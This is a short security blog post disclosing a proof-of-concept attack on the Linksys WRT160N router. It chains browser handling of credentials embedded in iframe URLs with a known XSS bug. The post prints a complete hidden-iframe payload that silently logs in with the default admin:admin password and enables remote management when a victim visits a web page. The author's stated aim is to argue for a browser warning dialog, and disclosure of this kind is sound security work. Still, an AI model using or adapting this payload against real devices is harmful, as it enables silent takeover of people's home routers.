Attacking Linksys WRT160N router using the "URL Obfuscation in Frames" bug

Security Researcher Aditya K Sood from Armorize Technologies recently reported a bug that many criticized as being bogus (https://bugzilla.mozilla.org/show_bug.cgi?id=570658). To keep the explanation brief, previously phishers could confuse non-technical users by making them open a URL such as http://[email protected], making the user believe they were visiting www.site.com when in reality they were being taken to evil.com. Ever since, browsers have added a confirmation dialog, warning the user what site they are really accessing. This confirmation dialog, however, is not used in subresources such as iFRAMES since the URL is not visible unless you view the source-code. Although this "bug" is obviously not useful for obfuscation, as Sood claims, we can still use it to attack routers that use the default password.

In my case, I'm using a Linksys WRT160N router and an XSS vulnerability reported by David Gil back in 2008. This PoC enables remote administration on the victim's router just by having the victim visit a malicious website. The nice thing about this bug is that Firefox/Chrome won't alert the victim that they're being logged in to their router, so the whole attack is transparent to the user.

<iframe src='http://admin:admin@192.168.1.1/apply.cgi?submit_button=DHCP_Static
&action=--%3E%3Cscript%3Efunction%20ifr%28%29{ifrm=document.createElement%28%22
iframe%22%29%3Bifrm.setAttribute%28%22src%22,%22http:%2F%2F192.168.1.1%2F
Management.asp%22%29%3Bifrm.width=%220%22%3Bifrm.height=%220%22%3Bdocument.
body.appendChild%28ifrm%29%3BsetTimeout%28%22window.frames[0].document.
getElementsByName%28\%22remote_management\%22%29[1].value=1%3B%22,1000%29%3B
setTimeout%28%22window.frames[0].document.location=\%22javascript:to_submit%28
document.forms[0]%29\%22%3B%22,1000%29%3B}setTimeout%28%22ifr%28%29%22,500%29%3B
%3C%2Fscript%3E' style="display:none;"/>

Firefox and Chrome will execute the attack without prompting the user, Opera on the other hand, gives a warning and blocks intranet requests by default. Mozilla stated that they're not planning on fixing this bug, since they don't believe there is an attack vector. Although the risk may be considered minimal, it still provides a way for attackers to abuse XSS, CSRF vulnerabilities on pages that require authentication. Considering that most users don't change their routers default password and that most router vendors don't take the time to fix these vulnerabilities as they don't see them is a big threat, I believe a warning dialog wouldn't hurt.